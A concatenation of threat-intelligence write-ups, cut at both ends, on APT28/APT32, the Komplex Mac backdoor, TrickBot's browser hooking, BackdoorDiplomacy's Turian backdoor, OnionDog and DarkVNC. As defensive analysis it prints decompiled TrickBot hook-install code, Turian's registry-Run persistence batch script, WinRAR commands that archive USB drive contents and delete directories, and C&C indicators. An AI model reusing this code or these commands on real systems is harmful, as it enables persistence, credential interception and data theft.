Russian government **Target sectors:** The Caucasus, particularly Georgia, eastern European countries and militaries, North Atlantic Treaty Organization (NATO), and other European security organizations and defense firms **Overview:** APT28 is a skilled team of developers and operators collecting intelligence on defense and geopolitical issues—intelligence that would be useful only to a government. This APT group compiles malware samples with Russian language settings during working hours (8 a.m. to 6 p.m.), consistent with the time zone of Russia’s major cities, including Moscow and St. Petersburg. This suggests that APT28 receives direct ongoing financial and other resources from a well-established organization, most likely the Russian government. **Associated malware:** CHOPSTICK, SOURFACE **Attack vectors:** Tools commonly used by APT28 include the SOURFACE downloader, its second-stage backdoor EVILTOSS, and a modular family of implants dubbed CHOPSTICK. APT28 has employed RSA encryption to protect files and stolen information moved from the victim’s network to the controller. It has also made incremental and systematic changes to the SOURFACE downloader and its surrounding ecosystem since 2007, indicating a long-standing and dedicated development effort. ## APT32 **Also known as:** OceanLotus Group **Suspected attribution:** Vietnam **Target sectors:** Foreign companies investing in Vietnam’s manufacturing, consumer products, consulting, and hospitality sectors **Overview:** Recent activity targeting private interests in Vietnam suggests that APT32 poses a threat to companies doing business, manufacturing, or preparing to invest in the country. While the specific motivation for this activity remains opaque, it could ultimately erode the competitive advantage of targeted organizations. **Associated malware:** SOUNDBITE, WINDSHIELD, PHOREAL, BEACON, KOMPROGO **Attack vectors:** APT32 actors leverage ActiveMime files that employ social engineering methods to entice the victim into enabling macros. Upon execution, the initialized file typically downloads multiple malicious payloads from a remote server. APT32 actors deliver the malicious attachments via spear phishing emails.
# Komplex Mac Backdoor Answers Old Questions A new piece of Mac malware, dubbed Komplex, has been discovered by Palo Alto Networks. This malware provides a backdoor into the system, like most other recent Mac malware. Where it gets most interesting, though, isn’t in its capabilities, but in the connections it allows us to make. The implementation of Komplex is actually anything but complex. The end product of infection is nothing more than a launch agent masquerading as an Apple updater and a hidden executable that is kept running by that launch agent. Trivial in execution, trivial to detect, and trivial to remove. The details of how the malware gets installed are still partly unknown. Palo Alto provided information about three different “binder” files, which are executable files that begin the process of installing the malware. What’s not said, however, is how these files get executed on the user’s system. Those “binders” perform two tasks. The first is to install and run another executable at `/tmp/content`. The second is to create a PDF file – containing information about the Russian Federal Space Program – in the Downloads folder and open it. This is common behavior among Trojan apps that masquerade as some kind of document; they typically will create and open a decoy document, in an attempt to prevent the user from noticing that anything strange happened. (I’ve seen a few people under the impression that this is a PDF exploit, but there’s no indication that this is the case at this time.) The executable at `/tmp/content` is the “dropper” that actually installs the malicious payload. That payload consists of the following files: - `/Users/Shared/.local/kextd` - `/Users/Shared/start.sh` - `~/Library/LaunchAgents/com.apple.updates.plist` The `start.sh` file is used to load the launch agent, which in turn ensures that the `kextd` process is kept running persistently. After the installation is complete, the original “binder,” the `/tmp/content` file, and the `start.sh` file are all deleted. In all, this is just more of the same old Mac malware. It doesn’t even have quite the same level of backdoor capabilities as most of the new backdoors that have appeared this year. However, what makes this interesting is the connections it allows us to make with other malware. Palo Alto makes a connection between this malware and other malware created by the Sofacy Group, an organization that is known to target governments. Sofacy appears to be a Russian group, possibly funded by the Russian government, and are considered to be involved in the recent Democratic National Committee hacking. That’s interesting, but perhaps more fascinating to Mac security folks is an additional connection made with an unnamed piece of malware discovered last year, which installed via a vulnerability in the MacKeeper app. Little was known about the malware beyond what BAE Systems published. Now we seem to have the answer to the question of what that malware was. Palo Alto Networks identified a number of compelling code similarities between Komplex and that unnamed malware. Not only does this put a name to that old malware, but it also shows that Sofacy has had their eyes on the Mac for some time now. Interestingly, although the method of infection has changed, not much seems to have changed about the payload, which was also a launch agent tasked with loading an executable file from the `/Users/Shared` folder. Malwarebytes Anti-Malware for Mac detects the dropped components as OSX.Komplex.
# How TrickBot Malware Hooking Engine Targets Windows 10 Browsers **Vitali Kremez** reveals how TrickBot’s hooking engine targets Chrome, Firefox, Explorer, and Edge in Windows 10. ## What is TrickBot Malware? Background & Summary TrickBot banking malware remains one of the more interesting and continually developing malware on the financial crimeware landscape. It employs multiple means and methods to exploit compromised machines of interest. The focus of this post is to cover in-depth some of its Windows 10 Microsoft Edge and other browser hooking engine functionality. We will focus on the internals and how TrickBot leverages these browsers to set up hooks for API calls of interest. The ultimate goal of the malware browser hooking is predominantly to intercept online banking credentials before they become SSL encrypted. The stolen credentials can subsequently be used for account takeover (ATO) fraud. Since Windows 10 came with a new browser, Microsoft Edge, TrickBot operators needed their banking malware to operate on that software. To implement form-grabbing and web injections in the Windows 10 Edge browser, TrickBot’s rogue `rtlbroker` hooks the `microsoftedgecp.exe` process. Normally, `runtimebroker.exe` is the parent process of the Microsoft Edge browser on Windows 10 machines. ## TrickBot Browser Process Injection Technique “Reflective Loader” In order to hook browser functions, TrickBot malware injects the payload into the browser of choice via the so-called “Reflective Loader” methodology. The TrickBot process injection function targets four browsers from Microsoft Edge to Google Chrome and one Microsoft Edge related process. TrickBot injects the malware targeting the following processes: - `chrome.exe` - `iexplore.exe` - `firefox.exe` - `microsoftedgecp.exe` - `runtimebroker.exe` The malware also “relaxes” browser security and writes changes files locally before injection occurs. TrickBot’s reflective injection works as follows: 1. Open target process and allocate memory address in remote process via `VirtualAllocEx`. 2. Copy function `WriteProcessMemory` into the allocated memory space. 3. Copy shellcode `WriteProcessMemory` into the allocated memory space. 4. Call `FlushInstructionCache` API to make sure our changes are written right away. 5. Call inject `RemoteThread` function call. 6. Call `ResumeThread`. 7. Else, call undocumented API function `RtlCreateUserThread` to start execution in the remote process, using the offset address of the reflective loader function as the entry point. When the TrickBot banker hooks the API function, it enters the new hooked one and checks to make sure the process is `microsoftedgecp.exe` while passing control to the original one when the hooked function concludes. The basic TrickBot banking API hooking template is as follows: ```c int CreateHook_API(LPCSTR DLL_name, int original_function_name, int myHook_function, int address_of_original_function) ``` By and large, TrickBot hooking engine works via overwriting the basic API with the redirect functions with the `0xe9` opcode, which is the call for a jump with 32-bit relative offset. TrickBot uses a trampoline function and the write hook call with the `VirtualProtectEx` API to make sure that the function has the `0x40` (PAGE_EXECUTE_READWRITE) property. Additionally, it attempts to conceal detection of this hooking technique via prepending NOP and/or RETN. ## TrickBot Hook Install Function ```c signed int __cdecl TrickBot_Hook_Install(int myHook_function, int *function_address) { char *original_function; char *current_func_id_thread; int v5; char jump_len; signed int result; SIZE_T v8; void *trampoline_lpvoid; int v10; int v11; unsigned __int8 jmp_32_bit_relative_offset_opcode; int relative_offset; DWORD flOldProtect; original_function = func_name; current_func_id_thread = func_name + 0x24; iter_func(func_name + 0x24, 0x90, 0x23); if (function_address) { jump_len = walker_byte_0(*(_BYTE **)(original_function + 1), (int)current_func_id_thread, v5); } else { jump_len = 5; // jump_length_trampoline -> 5 } original_function[5] = jump_len; if (!jump_len) goto LABEL_12; // Setting up the trampoline buffer write_hook_iter((int)(original_function + 6), *(_BYTE **)(original_function + 1), (unsigned __int8)jump_len); if (function_address) *function_address = (int)current_func_id_thread; relative_offset = myHook_function - *(_DWORD *)(original_function + 1) - 5; v8 = (unsigned __int8)original_function[5]; trampoline_lpvoid = *(void **)(original_function + 1); jmp_32_bit_relative_offset_opcode = 0xE9u; // "0xE9" -> opcode for a jump with a 32bit relative offset if (VirtualProtectEx((HANDLE)0xFFFFFFFF, trampoline_lpvoid, v8, 0x40u, &flOldProtect)) { v10 = *(_DWORD *)(original_function + 1); v11 = (unsigned __int8)original_function[5] - (_DWORD)original_function - 0x47; original_function[66] = 0xE9u; *(_DWORD *)(original_function + 0x43) = v10 + v11; write_hook_iter(v10, &jmp_32_bit_relative_offset_opcode, 5); // -> Manually write the hook VirtualProtectEx((HANDLE)0xFFFFFFFF, *(LPVOID *)(original_function + 1), (unsigned __int8)original_function[5], flOldProtect, &flOldProtect); } result = 1; } ``` For instance, TrickBot malware sets up its own custom `myCreateProcessA` function prototype after the hook on `CreateProcessA`. The idea is to catch any instance of `microsoftedgecp.exe` execution to intercept it for subsequent injection. This function ultimately returns the flow back to `CreateProcessA` after intercepting and collecting necessary process execution information. The following four API calls being hooked are in the child Microsoft Edge via rogue `rtlbroker.dll`, allowing TrickBot operators to intercept and manipulate Microsoft Edge calls: - `CreateProcess` - `CreateProcessW` - `CreateProcessAsUserA` - `CreateProcessAsUserW` TrickBot hooks Internet Explorer and Microsoft Edge in `wininet.dll` library API calls: - `HttpSendRequestA` - `HttpSendRequestW` - `HttpSendRequestExA` - `HttpSendRequestExW` - `InternetCloseHandle` - `InternetReadFile` - `InternetReadFileExA` - `InternetQueryDataAvailable` - `HttpQueryInfoA` - `InternetWriteFile` - `HttpEndRequestA` - `HttpEndRequestW` - `InternetQueryOptionA` - `InternetQueryOptionW` - `InternetSetOptionA` - `InternetSetOptionW` - `HttpOpenRequestA` - `HttpOpenRequestW` - `InternetConnectA` - `InternetConnectW` The malware hooks Mozilla Firefox Browser in `nspr4.dll` library API calls: - `PR_OpenTCPSocket` - `PR_Connect` - `PR_Close` - `PR_Write` - `PR_Read` It hooks Chrome in `chrome.dll` library API calls: - `ssl_read` - `ssl_write`
# BackdoorDiplomacy: Upgrading from Quarian to Turian **ESET researchers discover a new campaign that evolved from the Quarian backdoor** **Adam Burgher** **June 10, 2021** ## Executive summary An APT group that we are calling BackdoorDiplomacy, due to the main vertical of its victims, has been targeting Ministries of Foreign Affairs and telecommunication companies in Africa and the Middle East since at least 2017. For initial infection vectors, the group favors exploiting vulnerable internet-exposed devices such as web servers and management interfaces for networking equipment. Once on a system, its operators make use of open-source tools for scanning the environment and lateral movement. Interactive access is achieved in two ways: (1) via a custom backdoor we are calling Turian that is derived from the Quarian backdoor; and (2) in fewer instances, when more direct and interactive access is required, certain open-source remote access tools are deployed. In several instances, the group has been observed targeting removable media for data collection and exfiltration. Finally, both Windows and Linux operating systems have been targeted. ## Links with known groups BackdoorDiplomacy shares commonalities with several other Asian groups. Most obvious among them is the connection between the Turian backdoor and the Quarian backdoor. Specific observations regarding the Turian-Quarian connection are recorded below in the Turian section. We believe this group is also linked with a group Kaspersky referred to as “CloudComputating” that was also analyzed by Sophos. Several victims were compromised via mechanisms that closely matched the Rehashed Rat and a MirageFox-APT15 campaign documented by Fortinet in 2017 and Intezer in 2018, respectively. The BackdoorDiplomacy operators made use of their specific form of DLL Search-Order Hijacking. Finally, the network encryption method BackdoorDiplomacy uses is quite similar to a backdoor Dr.Web calls Backdoor.Whitebird.1. Whitebird was used to target government institutions in Kazakhstan and Kyrgyzstan (both neighbors of a BackdoorDiplomacy victim in Uzbekistan) within the same 2017-to-present timeframe in which BackdoorDiplomacy has been active. ## Victimology Quarian was used to target the Syrian Ministry of Foreign Affairs in 2012, as well as the US State Department in 2013. This trend of targeting Ministries of Foreign Affairs continues with Turian. Victims have been discovered in the Ministries of Foreign Affairs of several African countries, as well as in Europe, the Middle East, and Asia. Additional targets include telecommunication companies in Africa, and at least one Middle Eastern charity. In each case, operators employed similar tactics, techniques, and procedures (TTPs), but modified the tools used, even within close geographic regions, likely to make tracking the group more difficult. ## Attack vectors BackdoorDiplomacy targeted servers with internet-exposed ports, likely exploiting unpatched vulnerabilities or poorly enforced file-upload security. In one specific instance, we observed the operators exploit an F5 BIP-IP vulnerability (CVE-2020-5902) to drop a Linux backdoor. In another, a Microsoft Exchange server was exploited via a PowerShell dropper that installed China Chopper, a well-known webshell in use by various groups since 2013. In a third, we observed a Plesk server with poorly configured file-upload security execute another webshell similar to China Chopper. ## Reconnaissance and lateral movement Following the initial compromise, in many instances the BackdoorDiplomacy group employed open-source reconnaissance and red-team tools to evaluate the environment for additional targets of opportunity and lateral movement. Among the tools documented are: - EarthWorm, a simple network tunnel with SOCKS v5 server and port transfer functionalities - Mimikatz, and various versions including SafetyKatz - Nbtscan, a command line NetBIOS scanner for Windows - NetCat, a networking utility that reads and writes data across network connections - PortQry, a tool to display the status of TCP and UDP ports on remote systems - SMBTouch, used to determine whether a target is vulnerable to EternalBlue - Various tools from the ShadowBrokers dump of NSA tools including, but not limited to: - DoublePulsar - EternalBlue - EternalRocks - EternalSynergy Commonly used directories for staging recon and lateral movement tools include: - C:\Program Files\Windows Mail\en-US\ - %LOCALAPPDATA%\Microsoft\InstallAgent\Checkpoints\ - C:\ProgramData\ESET\ESET Security\Logs\eScan\ - %USERPROFILE%\ESET\ESET Security\Logs\eScan\ - C:\Program Files\hp\hponcfg\ - C:\Program Files\hp\hpssa\ - C:\hp\hpsmh\ - C:\ProgramData\Mozilla\updates\ Of the tools listed above, many were obfuscated with VMProtect (v1.60-2.05), a recurring theme with BackdoorDiplomacy tools. ## Windows ### Backdoor droppers In some instances, operators were observed uploading backdoor droppers. Operators attempted to disguise their backdoor droppers and evade detection in various ways: - Naming conventions designed to blend into normal operations (e.g. amsc.exe, msvsvr.dll, alg.exe) - Dropping implants in folders named for legitimate software (e.g., C:\Program Files\hp, C:\ProgramData\ESET, C:\ProgramData\Mozilla) - DLL search order hijacking In one such instance, the operators uploaded, via a webshell, both ScnCfg.exe (SHA-1: 573C35AB1F243D6806DEDBDD7E3265BC5CBD5B9A), a legitimate McAfee executable, and vsodscpl.dll, a malicious DLL named after a legitimate McAfee DLL that is called by ScnCfg.exe. The version of vsodscpl.dll (SHA-1: FCD8129EA56C8C406D1461CE9DB3E02E616D2AA9) deployed was called by ScnCfg.exe, at which point vsodscpl.dll extracted Turian embedded within its code, wrote it to memory, and executed it. On a different system, operators dropped a legitimate copy of credwize.exe, the Microsoft Credential Backup and Restore Wizard, on disk and used it to execute the malicious library New.dll, another Turian variant. ### Turian About half of the samples we collected were obfuscated with VMProtect. A compilation of observed operator commands is included in the Operator commands section. Unique network encryption schemes are individually discussed below as well. #### Similarities with Quarian The initial reporting by Kaspersky notes that the victims of Quarian were at the Syrian Ministry of Foreign Affairs, a similar target-set of Turian. In many of the Turian samples we collected, there are obvious similarities with Quarian. Mutexes are used by both to verify that only one instance is running, although the mutexes used are dissimilarly named. We observed the following mutexes used by Turian: - winsupdatetw - clientsix - client - updatethres - Others: dynamically generated based on the system’s hostname, limited to eight hex characters, lower-case, and prefaced with a leading zero C&C server domains and IP addresses are extracted with similar XOR routines; where Quarian uses a decryption key of 0x44, Turian uses 0xA9. Turian and Quarian both read the first four bytes from the file cf in the same directory as the malware’s executable, which are then used as the sleep length as part of the C&C beacon routine. The Turian network connection process follows a similar pattern to Quarian, attempting to make a direct connection. If that fails due to a local proxy with a response of 407 (Authorization Required), both try to use locally cached credentials. However, the request sent to the proxy by Turian does not contain any of the grammatical mistakes that Quarian sent. Finally, both Turian and Quarian create a remote shell by copying cmd.exe to alg.exe. ### Persistence After initial execution, Turian establishes persistence by creating the file tmp.bat in the current working directory, writing the following lines to the file, then running the file: ``` ReG aDd HKEY_CURRENT_USER\sOFtWArE\MIcrOsOft\WindOwS\CurRentVeRsiOn\RuN /v Turian_filename> /t REG_SZ /d “<location_of_Turian_on_disk>\<Turian_fiilename>” /f ReG aDd HKEY_LOCAL_MACHINE\sOFtWArE\MIcrOsOft\WindOwS\CurRentVeRsiOn\RuN /v <Turian_filename> /t REG_SZ /d “<location_of_Turian_on_disk>\<Turian_fiilename>” /f del %0 ``` Turian then checks for the presence of the file Sharedaccess.ini in its working directory. If that file is present, Turian attempts to load the C&C IP or domain from there, if present. We did not observe Turian pass IPs or domains in this manner but testing confirmed Turian looks to load the C&C address from here first. After checking Sharedaccess.ini, Turian attempts to connect with a hardcoded IP or domain and sets up its network encryption protocol. ### Network encryption Quarian is known to have used both an eight-byte XOR key and an eight-byte nonce to create a session key. Turian has a distinct method for exchanging network encryption keys. After receiving the last 56-byte packet, Turian calls the network encryption initialization function and accepts the 56 bytes of data in the last C&C packet as the only argument. A second network encryption setup was also observed. The last iteration of the four-iteration loop (QWORD byte[5]) is used as the seed for the key initialization function. ## Operator commands The full list of Turian operator commands is shown below. | ID | Description | |----------|-------------------------------------------------------------------------------------------------| | 0x01 | Get system information including OS version, memory usage, local hostname, system adapter info, internal IP, current username, state of the directory service installation and domain data. | | 0x02 | Interactive shell – copy %WINDIR%\system32\cmd.exe to %WINDIR%\alg.exe and spawn alg.exe in a new thread. | | 0x03 | Spawn a new thread, acknowledge the command and wait for one of the three-digit commands below. | | 0x04 | Take screenshot. | | 0x103/203| Write file. | | 0x403 | List directory. | | 0x503 | Move file. | | 0x603 | Delete file. | | 0x703 | Get startup info. | ## Targeting removable media A subset of victims was targeted with data collection executables that were designed to look for removable media (most likely USB flash drives). The implant routinely scans for such drives, specifically targeting removable media (return value of GetDriveType is 2). If found, the implant uses an embedded version of WinRAR to execute these hardcoded commands: ``` CMD.exe /C %s a -m5 -hp1qaz@WSX3edc -r %s %s\\*.* CMD.exe /C %s a -m5 -hpMyHost-1 -r %s %s\\*.* CMD.exe /C rd /s /q \”%s”\ ``` The parameters in the command break out to: - a == add files to archive - -m[0:5] == compression level - -hp<password> - -r == recurse subdirectories - rd == remove directory - /s == delete a directory tree - /q == quiet mode - \”%s”\ == directory to act on The implant, upon detecting a removable media being inserted, attempts to copy all the files on the drive to a password-protected archive and puts the archive in the following directory, which is hardcoded and the same for every victim: ``` C:\RECYCLER\S-1-3-33-854245398-2067806209-0000980848-2003\ ``` The implant also has the capability to delete files, based on the third command listed above. ## Remote access tools Occasionally, BackdoorDiplomacy’s operators require a greater degree of access or more interactivity than that provided by Turian. On those occasions, they employ open-source remote access tools such as Quasar, which offers a wide variety of capabilities and runs on virtually all versions of Windows. ## Linux We discovered, via a shared C&C server domain, a Linux backdoor using similar network infrastructure and that was deployed after exploiting a known vulnerability in F5 BIG-IP load balancers’ traffic management user interface (TMUI), which permits remote code execution (RCE). The Linux variant attempts to persist by writing itself to /etc/init.d/rc.local. Next, it runs through a loop to extract strings from memory: ``` bash -version echo $PWD /bin/sh /tmp/AntiVirtmp eth0 /proc/%d/exe ``` Then, it calls its daemon function and forks off a child process which then begins the work of decrypting the C&C IP address and/or domain name then initiates a loop that reaches out to the C&C using Mozilla/5.0 (X11; Linux i686; rv:22.0) Firefox/22.0 as its user-agent. This C&C loop continues until a successful connection is made. Once a connection is established, the Linux agent goes through a similar network encryption setup to what the Windows version of Turian carries out. ## Conclusion BackdoorDiplomacy is a group that primarily targets diplomatic organizations in the Middle East and Africa, and less frequently, telecommunication companies. Their initial attack methodology is focused on exploiting vulnerable internet-exposed applications on webservers, in order to drop and execute a webshell. Post compromise, via the webshell, BackdoorDiplomacy deploys open-source software for reconnaissance and information gathering, and favors the use of DLL search order hijacking to install its backdoor, Turian. Finally, BackdoorDiplomacy employs a separate executable to detect removable media, likely USB flash drives, and copy their contents to the main drive’s recycle bin. BackdoorDiplomacy shares tactics, techniques, and procedures with other Asian groups. Turian likely represents a next stage evolution of Quarian, the backdoor last observed in use in 2013 against diplomatic targets in Syria and the United States. Turian’s network encryption protocol is nearly identical to the network encryption protocol used by Whitebird, a backdoor operated by Calypso, another Asian group. Whitebird was deployed within diplomatic organizations in Kazakhstan and Kyrgyzstan during the same timeframe as BackdoorDiplomacy (2017-2020). Additionally, BackdoorDiplomacy and APT15 use the same techniques and tactics to drop their backdoors on systems, namely the aforementioned DLL search order hijacking. BackdoorDiplomacy is also a cross-platform group targeting both Windows and Linux systems. The Linux variant of Turian shares the same network encryption protocol characteristics and attempts to return a TTY reverse shell to the operator. ## IoCs ### Samples | SHA-1 | Filename | Name | Description | |-----------------------------------------|---------------------------------|--------------------------|---------------------------------| | 3C0DB3A5194E1568E8E2164149F30763B7F3043D | logout.aspx | ASP/Webshell.H | BackdoorDiplomacy webshell – variant N2 | | 32EF3F67E06C43C18E34FB56E6E62A6534D1D694 | current.aspx | ASP/Webshell.O | BackdoorDiplomacy webshell – variant S1 | | 8C4D2ED23958919FE10334CCFBE8D78CD0D991A8 | errorEE.aspx | ASP/Webshell.J | BackdoorDiplomacy webshell – variant N1 | | C0A3F78CF7F0B592EF813B15FC0F1D28D94C9604 | App_Web_xcg2dubs.dll | MSIL/Webshell.C | BackdoorDiplomacy webshell – variant N3 | | CDD583BB6333644472733617B6DCEE2681238A11 | N/A | Linux/Agent.KD | Linux Turian backdoor | | FA6C20F00F3C57643F312E84CC7E46A0C7BABE75 | N/A | Linux/Agent.KD | Linux Turian backdoor | | 5F87FBFE30CA5D6347F4462D02685B6E1E90E464 | ScnCfg.exe | Win32/Agent.TGO | Windows Turian backdoor | | B6936BD6F36A48DD1460EEB4AB8473C7626142AC | VMSvc.exe | Win32/Agent.QKK | Windows Turian backdoor | | B16393DFFB130304AD627E6872403C67DD4C0AF3 | svchost.exe | Win32/Agent.TZI | Windows Turian backdoor | | 9DBBEBEBBA20B1014830B9DE4EC9331E66A159DF | nvsvc.exe | Win32/Agent.UJH | Windows Turian backdoor | | 564F1C32F2A2501C3C7B51A13A08969CDC3B0390 | AppleVersions.dll | Win64/Agent.HA | Windows Turian backdoor | | 6E1BB476EE964FFF26A86E4966D7B82E7BACBF47 | MozillaUpdate.exe | Win32/Agent.UJH | Windows Turian backdoor | | FBB0A4F4C90B513C4E51F0D0903C525360FAF3B7 | nvsvc.exe | Win32/Agent.QAY | Windows Turian backdoor | | 2183AE45ADEF97500A26DBBF69D910B82BFE721A | nvsvcv.exe | Win32/Agent.UFX | Windows Turian backdoor | | 849B970652678748CEBF3C4D90F435AE1680601F | efsw.exe | Win32/Agent.UFX | Windows Turian backdoor | | C176F36A7FC273C9C98EA74A34B8BAB0F490E19E | iexplore32.exe | Win32/Agent.QAY | Windows Turian backdoor | | 626EFB29B0C58461D831858825765C05E1098786 | iexplore32.exe | Win32/Agent.UFX | Windows Turian backdoor | | 40E73BF21E31EE99B910809B3B4715AF017DB061 | explorer32.exe | Win32/Agent.QAY | Windows Turian backdoor | | 255F54DE241A3D12DEBAD2DF47BAC5601895E458 | Duser.dll | Win32/Agent.URH | Windows Turian backdoor | | A99CF07FBA62A63A44C6D5EF6B780411CF1B1073 | Duser.dll | Win64/Agent.HA | Windows Turian backdoor | | 934B3934FDB4CD55DC4EA1577F9A394E9D74D660 | Duser.dll | Win32/Agent.TQI | Windows Turian backdoor | | EF4DF176916CE5882F88059011072755E1ECC482 | iexplore32.exe | Win32/Agent.QAY | Windows Turian backdoor | ### Network C&Cs | AS | Hoster | IP address | Domain | |--------------------------------|--------------------------------------------|------------------------|---------------------------------| | AS20473 | AS-CHOOPA | 199.247.9[.]67 | bill.microsoftbuys[.]com | | AS132839 | POWER LINE DATACENTER | 43.251.105[.]218 | dnsupdate.dns2[.]us | | AS40065 | Cnservers LLC | 162.209.167[.]154 | | | AS132839 | POWER LINE DATACENTER | 43.225.126[.]179 | www.intelupdate.dns1[.]us | | AS46573 | LAYER-HOST | 23.247.47[.]252 | www.intelupdate.dns1[.]us | | AS132839 | POWER LINE DATACENTER | 43.251.105[.]222 | winupdate.ns02[.]us | | AS40065 | Cnservers LLC | 162.209.167[.]189 | | | AS25820 | IT7NET | 23.83.224[.]178 | winupdate.ns02[.]us | | AS132839 | POWER LINE DATACENTER | 43.251.105[.]218 | | | AS20473 | AS-CHOOPA | 45.76.120[.]84 | icta.worldmessg[.]com | | AS20473 | AS-CHOOPA | 78.141.243[.]45 | Infoafrica[.]top | | AS20473 | AS-CHOOPA | 78.141.196[.]159 | szsz.pmdskm[.]top | | AS20473 | AS-CHOOPA | 45.77.215[.]53 | pmdskm[.]top | | AS132839 | POWER LINE DATACENTER | 43.251.105[.]139 | www.freedns02.dns2[.]us | | AS20473 | AS-CHOOPA | 45.77.215[.]53 | | | AS135377 | UCloud (HK) Holdings Group Limited | 152.32.180[.]34 | | | AS132839 | POWER LINE DATACENTER | 43.251.105[.]218 | officeupdates.cleansite[.]us | | AS25820 | IT7NET | 23.106.140[.]207 | dynsystem.imbbs[.]in | | AS132839 | POWER LINE DATACENTER | 43.251.105[.]139 | officeupdate.ns01[.]us | | AS40676 | Psychz Networks | 23.228.203[.]130 | systeminfo.myftp[.]name | ### Registrars | Registrar | Domain | |---------------------------------|------------------------------------------| | expdns[.]net | update.officenews365[.]com | | ezdnscenter[.]com | bill.microsoftbuys[.]com | | changeip[.]org | dnsupdate.dns2[.]us | | dnsupdate.dns1[.]us | www.intelupdate.dns1[.]us | | winupdate.ns02[.]us | www.freedns02.dns2[.]us | | officeupdates.cleansite[.]us | officeupdate.ns01[.]us | | systeminfo.cleansite[.]info | updateip.onmypc[.]net | | hichina[.]com | Infoafrica[.]top | | domaincontrol[.]com | web.vpnkerio[.]com | | exhera[.]com | dynsystem.imbbs[.]in | | systeminfo.oicp[.]net | | ### MITRE ATT&CK techniques | Tactic | ID | Name | Description | |-----------------|------------------------|--------------------------------------------------------|-----------------------------------------------------------------------------| | Initial Access | T1190 | Exploit Public-Facing Application | BackdoorDiplomacy exploits the vulnerability CVE-2020-5902. | | Execution | T1059.003 | Windows Command Shell | Turian relies on a batch script to create persistence. | | | T1203 | Exploitation for Client Execution | Turian has exploited client software vulnerabilities for execution, such as CVE-2020-5902. | | Persistence | T1547.001 | Registry Run Keys / Startup Folder | Turian uses the HKLM and HKCU CurrentVersion Run keys to persist after reboot. | | | T1548.002 | Bypass User Account Control | Turian uses JuicyPotato to bypass UAC. | | Privilege Escalation | T1547.001 | Registry Run Keys / Startup Folder | Turian uses the HKLM and HKCU CurrentVersion Run keys to persist after reboot. | | | T1548.002 | Bypass User Account Control | Turian uses JuicyPotato to bypass UAC. | | Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | Turian uses VMProtect to obfuscate its code. | | | T1550 | Use Alternate Authentication Material | Turian uses Mimikatz. | | Discovery | T1083 | File and Directory Discovery | Turian lists drives. | | | T1550 | Use Alternate Authentication Material | Turian uses Mimikatz. | | Lateral Movement | T1005 | Data from Local System | Turian collects files from the victim’s machine. | | Collection | T1113 | Screen Capture | Turian captures screenshots. | | | T1071.001 | Web Protocols | Turian uses HTTP to communicate with the C&C server. | | Command and Control | T1573.001 | Symmetric Cryptography | Turian uses XOR routine to encrypt communication with the C&C server. | | | T1095 | Non-Application Layer Protocol | Turian uses raw sockets to communicate with the C&C server. |
# Korean Energy and Transportation Targets Attacked by OnionDog APT **Catalin Cimpanu** **March 9, 2016** Chinese security researchers from cyber-security vendor Qihoo 360 have blown the lid on a cyber-espionage APT named OnionDog that's been targeting Korean-speaking countries since October 2013. According to their investigation, OnionDog has been mostly active in the summer and used an arsenal of trojans and USB worms. The trojan, which only lives on average for about 15 days, was used to exfiltrate data from targeted companies and government agencies while the USB worm was developed as a Stuxnet-like threat that can reach targets that aren't connected to the Internet. Qihoo's Helios Team was the first to come across this threat in October 2013, and the company is saying that the group truly came alive in the summer of 2014, when it hit Korean companies activating in the energy and water supply sectors. Attacks then continued in the summer of 2015, when Qihoo saw new targets attacked, some of which were against port harbors, VTS (Vessel Traffic Systems), subways, public transportation, and other transportation systems. These findings are also consistent with what local South Korean authorities have reported in the past months. Qihoo says that the group used 96 different types of malware, but all of it was programmed to self-delete, with no malware variant living more than 29 days. Additionally, the researchers discovered 14 different C&C (command and control) servers attached to these campaigns, which in 2015 were moved to the Darknet, operating via the Onion City Tor2web technology. As for their infection strategy, in the beginning, the OnionDog group used lots of spear-phishing campaigns which contained trojan-laced executables that used the icon of a popular Korean word processing software called Hangul. Later on, in 2015, the group switched tactics and started leveraging software vulnerabilities in the Hangul editor to download and install their malware automatically. We presented more details on this technique in September, and the same Hangul vulnerability seems to have been used by the Lazarus group, the APT suspected to have carried out the infamous Sony hack. Even if nobody said the Lazarus group was operating from North Korea, all clues pointed toward that conclusion, and all clues point to the same conclusion for OnionDog as well.
# A Short Journey into DarkVNC Attack Chain During an analysis of different remote desktop trojans, we came across an interesting attack chain which leverages an RTF that exploits CVE-2017-8759 to deliver DarkVNC, a malicious version of the well-known VNC, designed to silently remote-control a victim. ## DarkVNC Attack Chain The DarkVNC chain as reconstructed by ReaQta-Hive can be seen below: After opening the RTF document, one of the first processes to start is `csc.exe`, which is a Command-Line build tool used to invoke the C# compiler. Even though `csc.exe` is a perfectly legit tool, it can be abused for malicious purposes. The first step is to inspect the command-line of `csc.exe` to discover what is going to be compiled on-the-fly: ``` 1/8cam0snfh.cmdline should raise some suspicion: beside the “weird” name it also run from the user’s directory: /t:library /utf8output /R:"System.dll" /R:"System.Runtime.Remoting.dll" /R:"System.Data.dll" /R:"System.Xml.dll" /R:"System.Web.Services.dll" /out:"[EDITED].dll" /D:DEBUG /debug+ /optimize- "C:\Users\User\AppData\Local\Temp\xyzlw5gj.0.cs" ``` The compilation will produce `[EDITED].dll` (we redacted the name of the DLL for safety reasons since it’s in the form: www.maliciousdomain.com). To understand what this DLL does, we have to inspect the source code located in the file `xyzlw5gj.0.cs`. This block of code takes advantage of the CVE-2017-8759 (WSDL Parser Code Injection) that allows an attacker to inject and execute arbitrary code. Specifically, the `csc.exe` generated DLL will be executed by Office. The same technique has been used in the wild to distribute FinSpy. In our case, `winword.exe` will finally execute `mshta.exe` that launches an HTA script which invokes PowerShell. The main purpose of PowerShell is to drop and execute `result.exe`, whose scope is to deliver DarkVNC, which we can consider the final payload. The convoluted process described above can be summarized with a simple image that gives us an immediate insight on what is happening on the victim’s endpoint. ## The Injector As previously stated, `result.exe` acts as a loader; its goal is to decrypt and inject the malicious DLL that contains DarkVNC. From a static analysis point of view, we have the following characteristics: - **SHA256:** 1D6F4CAC33FFF1B744DCE13BDF003B15D8EABCE53B0578E3B4BDBC5CBF001D78 - **SHA1:** 2BB1BE823ED569EF3DAC008B2FEC4A8D04E46922 - **MD5:** 22E2B492108F9D5517EE52C37912F24D - **File name:** result.exe - **File type:** Win32 EXE - **File size:** 551.50 KB (564736 bytes) The executable does not have a Version Information and from an initial inspection, it’s encrypted with some private PE cryptor. We will skip the detailed analysis of the packer and subsequent unpacking steps because we are more interested in the overall behavior. `result.exe` uses several layers of encryption but does not implement complex anti-reverse engineering countermeasures, so the fastest way to track the core behavior is by setting a breakpoint on `VirtualAlloc()` and following the various layers. Execution 